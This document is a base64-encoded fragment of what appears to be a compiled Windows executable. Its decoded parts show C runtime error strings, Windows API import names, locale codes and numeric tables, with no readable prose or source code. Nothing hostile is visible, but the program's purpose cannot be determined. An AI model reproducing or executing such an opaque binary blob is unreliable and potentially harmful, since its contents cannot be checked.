IABiAGUAZQBuACAAYwBhAGwAbABlAGQADQAKAAAAAABSADYAMAAxADYADQAKAC0AIABuAG8AdAAgAGUAbgBvAHUAZwBoACAAcwBwAGEAYwBlACAAZgBvAHIAIAB0AGgAcgBlAGEAZAAgAGQAYQB0AGEADQAKAAAAUgA2ADAAMQA3AA0ACgAtACAAdQBuAGUAeABwAGUAYwB0AGUAZAAgAG0AdQBsAHQAaQB0AGgAcgBlAGEAZAAgAGwAbwBjAGsAIABlAHIAcgBvAHIADQAKAAAAAAAAAAAAUgA2ADAAMQA4AA0ACgAtACAAdQBuAGUAeABwAGUAYwB0AGUAZAAgAGgAZQBhAHAAIABlAHIAcgBvAHIADQAKAAAAAAAAAAAAUgA2ADAAMQA5AA0ACgAtACAAdQBuAGEAYgBsAGUAIAB0AG8AIABvAHAAZQBuACAAYwBvAG4AcwBvAGwAZQAgAGQAZQB2AGkAYwBlAA0ACgAAAAAAAAAAAFIANgAwADIANAANAAoALQAgAG4AbwB0ACAAZQBuAG8AdQBnAGgAIABzAHAAYQBjAGUAIABmAG8AcgAgAF8AbwBuAGUAeABpAHQALwBhAHQAZQB4AGkAdAAgAHQAYQBiAGwAZQANAAoAAAAAAAAAAABSADYAMAAyADUADQAKAC0AIABwAHUAcgBlACAAdgBpAHIAdAB1AGEAbAAgAGYAdQBuAGMAdABpAG8AbgAgAGMAYQBsAGwADQAKAAAAAAAAAFIANgAwADIANgANAAoALQAgAG4AbwB0ACAAZQBuAG8AdQBnAGgAIABzAHAAYQBjAGUAIABmAG8AcgAgAHMAdABkAGkAbwAgAGkAbgBpAHQAaQBhAGwAaQB6AGEAdABpAG8AbgANAAoAAAAAAAAAAABSADYAMAAyADcADQAKAC0AIABuAG8AdAAgAGUAbgBvAHUAZwBoACAAcwBwAGEAYwBlACAAZgBvAHIAIABsAG8AdwBpAG8AIABpAG4AaQB0AGkAYQBsAGkAegBhAHQAaQBvAG4ADQAKAAAAAAAAAAAAUgA2ADAAMgA4AA0ACgAtACAAdQBuAGEAYgBsAGUAIAB0AG8AIABpAG4AaQB0AGkAYQBsAGkAegBlACAAaABlAGEAcAANAAoAAAAAAFIANgAwADMAMAANAAoALQAgAEMAUgBUACAAbgBvAHQAIABpAG4AaQB0AGkAYQBsAGkAegBlAGQADQAKAAAAAAAAAAAAUgA2ADAAMwAxAA0ACgAtACAAQQB0AHQAZQBtAHAAdAAgAHQAbwAgAGkAbgBpAHQAaQBhAGwAaQB6AGUAIAB0AGgAZQAgAEMAUgBUACAAbQBvAHIAZQAgAHQAaABhAG4AIABvAG4AYwBlAC4ACgBUAGgAaQBzACAAaQBuAGQAaQBjAGEAdABlAHMAIABhACAAYgB1AGcAIABpAG4AIAB5AG8AdQByACAAYQBwAHAAbABpAGMAYQB0AGkAbwBuAC4ADQAKAAAAAABSADYAMAAzADIADQAKAC0AIABuAG8AdAAgAGUAbgBvAHUAZwBoACAAcwBwAGEAYwBlACAAZgBvAHIAIABsAG8AYwBhAGwAZQAgAGkAbgBmAG8AcgBtAGEAdABpAG8AbgANAAoAAAAAAFIANgAwADMAMwANAAoALQAgAEEAdAB0AGUAbQBwAHQAIAB0AG8AIAB1AHMAZQAgAE0AUwBJAEwAIABjAG8AZABlACAAZgByAG8AbQAgAHQAaABpAHMAIABhAHMAcwBlAG0AYgBsAHkAIABkAHUAcgBpAG4AZwAgAG4AYQB0AGkAdgBlACAAYwBvAGQAZQAgAGkAbgBpAHQAaQBhAGwAaQB6AGEAdABpAG8AbgAKAFQAaABpAHMAIABpAG4AZABpAGMAYQB0AGUAcwAgAGEAIABiAHUAZwAgAGkAbgAgAHkAbwB1AHIAIABhAHAAcABsAGkAYwBhAHQAaQBvAG4ALgAgAEkAdAAgAGkAcwAgAG0AbwBzAHQAIABsAGkAawBlAGwAeQAgAHQAaABlACAAcgBlAHMAdQBsAHQAIABvAGYAIABjAGEAbABsAGkAbgBnACAAYQBuACAATQBTAEkATAAtAGMAbwBtAHAAaQBsAGUAZAAgACgALwBjAGwAcgApACAAZgB1AG4AYwB0AGkAbwBuACAAZgByAG8AbQAgAGEAIABuAGEAdABpAHYAZQAgAGMAbwBuAHMAdAByAHUAYwB0AG8AcgAgAG8AcgAgAGYAcgBvAG0AIABEAGwAbABNAGEAaQBuAC4ADQAKAAAAAABSADYAMAAzADQADQAKAC0AIABpAG4AYwBvAG4AcwBpAHMAdABlAG4AdAAgAG8AbgBlAHgAaQB0ACAAYgBlAGcA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LQBJAE4AAABtAHQALQBNAFQAAABzAGUALQBOAE8AAABtAHMALQBNAFkAAABrAGsALQBLAFoAAABrAHkALQBLAEcAAABzAHcALQBLAEUAAAB1AHoALQBVAFoALQBMAGEAdABuAAAAAAB0AHQALQBSAFUAAABiAG4ALQBJAE4AAABwAGEALQBJAE4AAABnAHUALQBJAE4AAAB0AGEALQBJAE4AAAB0AGUALQBJAE4AAABrAG4ALQBJAE4AAABtAGwALQBJAE4AAABtAHIALQBJAE4AAABzAGEALQBJAE4AAABtAG4ALQBNAE4AAABjAHkALQBHAEIAAABnAGwALQBFAFMAAABrAG8AawAtAEkATgAAAAAAcwB5AHIALQBTAFkAAAAAAGQAaQB2AC0ATQBWAAAAAABxAHUAegAtAEIATwAAAAAAbgBzAC0AWgBBAAAAbQBpAC0ATgBaAAAAYQByAC0ASQBRAAAAZABlAC0AQwBIAAAAZQBuAC0ARwBCAAAAZQBzAC0ATQBYAAAAZgByAC0AQgBFAAAAaQB0AC0AQwBIAAAAbgBsAC0AQgBFAAAAbgBuAC0ATgBPAAAAcAB0AC0AUABUAAAAcwByAC0AUwBQAC0ATABhAHQAbgAAAAAAcwB2AC0ARgBJAAAAYQB6AC0AQQBaAC0AQwB5AHIAbAAAAAAAcwBlAC0AUwBFAAAAbQBzAC0AQgBOAAAAdQB6AC0AVQBaAC0AQwB5AHIAbAAAAAAAcQB1AHoALQBFAEMAAAAAAGEAcgAtAEUARwAAAHoAaAAtAEgASwAAAGQAZQAtAEEAVAAAAGUAbgAtAEEAVQAAAGUAcwAtAEUAUwAAAGYAcgAtAEMAQQAAAHMAcgAtAFMAUAAtAEMAeQByAGwAAAAAAHMAZQAtAEYASQAAAHEAdQB6AC0AUABFAAAAAABhAHIALQBMAFkAAAB6AGgALQBTAEcAAABkAGUALQBMAFUAAABlAG4ALQBDAEEAAABlAHMALQBHAFQAAABmAHIALQBDAEgAAABoAHIALQBCAEEAAABzAG0AagAtAE4ATwAAAAAAYQByAC0ARABaAAAAegBoAC0ATQBPAAAAZABlAC0ATABJAAAAZQBuAC0ATgBaAAAAZQBzAC0AQwBSAAAAZgByAC0ATABVAAAAYgBzAC0AQgBBAC0ATABhAHQAbgAAAAAAcwBtAGoALQBTAEUAAAAAAGEAcgAtAE0AQQAAAGUAbgAtAEkARQAAAGUAcwAtAFAAQQAAAGYAcgAtAE0AQwAAAHMAcgAtAEIAQQAtAEwAYQB0AG4AAAAAAHMAbQBhAC0ATgBPAAAAAABhAHIALQBUAE4AAABlAG4ALQBaAEEAAABlAHMALQBEAE8AAABzAHIALQBCAEEALQBDAHkAcgBsAAAAAABzAG0AYQAtAFMARQAAAAAAYQByAC0ATwBNAAAAZQBuAC0ASgBNAAAAZQBzAC0AVgBFAAAAcwBtAHMALQBGAEkAAAAAAGEAcgAtAFkARQAAAGUAbgAtAEMAQgAAAGUAcwAtAEMATwAAAHMAbQBuAC0ARgBJAAAAAABhAHIALQBTAFkAAABlAG4ALQBCAFoAAABlAHMALQBQAEUAAABhAHIALQBKAE8AAABlAG4ALQBUAFQAAABlAHMALQBBAFIAAABhAHIALQBMAEIAAABlAG4ALQBaAFcAAABlAHMALQBFAEMAAABhAHIALQBLAFcAAABlAG4ALQBQAEgAAABlAHMALQBDAEwAAABhAHIALQBBAEUAAABlAHMALQBVAFkAAABhAHIALQBCAEgAAABlAHMALQBQAFkAAABhAHIALQBRAEEAAABlAHMALQBCAE8AAABlAHMALQBTAFYAAABlAHMALQBIAE4AAABlAHMALQBOAEkAAABlAHMALQBQAFIAAAB6AGgALQBDAEgAVAAAAAAAcwByAAAAAABhAGYALQB6AGEAAABhAHIALQBhAGUAAABhAHIALQBiAGgAAABhAHIALQBkAHoAAABhAHIALQBlAGcAAABhAHIALQBpAHEAAABhAHIALQBqAG8AAABhAHIALQBrAHcAAABhAHIALQBsAGIAAABhAHIALQBsAHkAAABhAHIALQBtAGEAAABhAHIALQBvAG0AAABhAHIALQBxAGEAAABhAHIALQBzAGEAAABhAHIALQBzAHkAAABhAHIALQB0AG4AAABhAHIALQB5AGUAAABhAHoALQBhAHoALQBjAHkAcgBsAAAAAABhAHoALQBhAHoALQBsAGEAdABuAAAAAABiAGUALQBiAHkAAABiAGcALQBiAGcAAABiAG4ALQBpAG4AAABiAHMALQBiAGEALQBsAGEAdABuAAAAAABjAGEALQBlAHMAAABjAHMALQBjAHoAAABjAHkALQBnAGIAAABkAGEALQBkAGsAAABkAGUALQBhAHQAAABkAGUALQBjAGgAAABkAGUALQBkAGUAAABkAGUALQBsAGkAAABkAGUALQBsAHUAAABkAGkAdgAtAG0AdgAAAAAAZQBsAC0AZwByAAAAZQBuAC0AYQB1AAAAZQBuAC0AYgB6AAAAZQBuAC0AYwBhAAAAZQBuAC0AYwBiAAAAZQBuAC0AZwBiAAAAZQBuAC0AaQBlAAAAZQBuAC0AagBtAAAAZQBuAC0AbgB6AAAAZQBuAC0AcABoAAAAZQBuAC0AdAB0AAAAZQBuAC0AdQBzAAAAZQBuAC0AegBhAAAAZQBuAC0AegB3AAAAZQBzAC0AYQByAAAAZQBzAC0AYgBvAAAAZQBzAC0AYwBsAAAAZQBzAC0AYwBvAAAAZQBzAC0AYwByAAAAZQBzAC0AZABvAAAAZQBzAC0AZQBjAAAAZQBzAC0AZQBzAAAAZQBzAC0AZwB0AAAAZQBzAC0AaABuAAAAZQBzAC0AbQB4AAAAZQBzAC0AbgBpAAAAZQBzAC0AcABhAAAAZQBzAC0AcABlAAAAZQBzAC0AcAByAAAAZQBzAC0AcAB5AAAAZQBzAC0AcwB2AAAAZQBzAC0AdQB5AAAAZQBzAC0AdgBlAAAAZQB0AC0AZQBlAAAAZQB1AC0AZQBzAAAAZgBhAC0AaQByAAAAZgBpAC0AZgBpAAAAZgBvAC0AZgBvAAAAZgByAC0AYgBlAAAAZgByAC0AYwBhAAAAZgByAC0AYwBoAAAAZgByAC0AZgByAAAAZgByAC0AbAB1AAAAZgByAC0AbQBjAAAAZwBsAC0AZQBzAAAAZwB1AC0AaQBuAAAAaABlAC0AaQBsAAAAaABpAC0AaQBuAAAAaAByAC0AYgBhAAAAaAByAC0AaAByAAAAaAB1AC0AaAB1AAAAaAB5AC0AYQBtAAAAaQBkAC0AaQBkAAAAaQBzAC0AaQBzAAAAaQB0AC0AYwBoAAAAaQB0AC0AaQB0AAAAagBhAC0AagBwAAAAawBhAC0AZwBlAAAAawBrAC0AawB6AAAAawBuAC0AaQBuAAAAawBvAGsALQBpAG4AAAAAAGsAbwAtAGsAcgAAAGsAeQAtAGsAZwAAAGwAdAAtAGwAdAAAAGwAdgAtAGwAdgAAAG0AaQAtAG4AegAAAG0AawAtAG0AawAAAG0AbAAtAGkAbgAAAG0AbgAtAG0AbgAAAG0AcgAtAGkAbgAAAG0AcwAtAGIAbgAAAG0AcwAtAG0AeQAAAG0AdAAtAG0AdAAAAG4AYgAtAG4AbwAAAG4AbAAtAGIAZQAAAG4AbAAtAG4AbAAAAG4AbgAtAG4AbwAAAG4AcwAtAHoAYQAAAHAAYQAtAGkAbgAAAHAAbAAtAHAAbAAAAHAAdAAtAGIAcgAAAHAAdAAtAHAAdAAAAHEAdQB6AC0AYgBvAAAAAABxAHUAegAtAGUAYwAAAAAAcQB1AHoALQBwAGUAAAAAAHIAbwAtAHIAbwAAAHIAdQAtAHIAdQAAAHMAYQAtAGkAbgAAAHMAZQAtAGYAaQAAAHMAZQAtAG4AbwAAAHMAZQAtAHMAZQAAAHMAawAtAHMAawAAAHMAbAAtAHMAaQAAAHMAbQBhAC0AbgBvAAAAAABzAG0AYQAtAHMAZQAAAAAAcwBtAGoALQBuAG8AAAAAAHMAbQBqAC0AcwBlAAAAAABzAG0AbgAtAGYAaQAAAAAAcwBtAHMALQBmAGkAAAAAAHMAcQAtAGEAbAAAAHMAcgAtAGIAYQAtAGMAeQByAGwAAAAAAHMAcgAtAGIAYQAtAGwAYQB0AG4AAAAAAHMAcgAtAHMAcAAtAGMAeQByAGwAAAAAAHMAcgAtAHMAcAAtAGwAYQB0AG4AAAAAAHMAdgAtAGYAaQAAAHMAdgAtAHMAZQAAAHMAdwAtAGsAZQAAAHMAeQByAC0AcwB5AAAAAAB0AGEALQBpAG4AAAB0AGUALQBpAG4AAAB0AGgALQB0AGgAAAB0AG4ALQB6AGEAAAB0AHIALQB0AHIAAAB0AHQALQByAHUAAAB1AGsALQB1AGEAAAB1AHIALQBwAGsAAAB1AHoALQB1AHoALQBjAHkAcgBsAAAAAAB1AHoALQB1AHoALQBsAGEAdABuAAAAAAB2AGkALQB2AG4AAAB4AGgALQB6AGEAAAB6AGgALQBjAGgAcwAAAAAAegBoAC0AYwBoAHQAAAAAAHoAaAAtAGMAbgAAAHoAaAAtAGgAawAAAHoAaAAtAG0AbwAAAHoAaAAtAHMAZwAAAHoAaAAtAHQAdwAAAHoAdQAtAHoAYQAAAAAAAAAAAAAAAAAAAAAAAAAAAADA//81wmghotoPyf8/AAAAAAAA8D8IBAgICAQICAAEDAgABAwIAAAAAAAAAAAAAPA/fwI1wmghotoPyT5A////////738AAAAAAAAQAAAAAAAAAJjAAAAAAAAAmEAAAAAAAADwfwAAAAAAAAAAAAAAALTrQgDA60IAyOtCANTrQgDg60IA7OtCAPjrQgAI7EIAFOxCABzsQgAk7EIAMOxCADzsQgBG7EIASOxCAFDsQgBY7EIAXOxCAGDsQgBk7EIAaOxCAGzsQgBw7EIAdOxCAIDsQgCE7EIAiOxCAIzsQgCQ7EIAlOxCAJjsQgCc7EIAoOxCAKTsQgCo7EIArOxCALDsQgC07EIAuOxCALzsQgDA7EIAxOxCAMjsQgDM7EIA0OxCANTsQgDY7EIA3OxCAODsQgDk7EIA6OxCAOzsQgDw7EIA9OxCAPjsQgD87EIACO1CABTtQgAc7UIAKO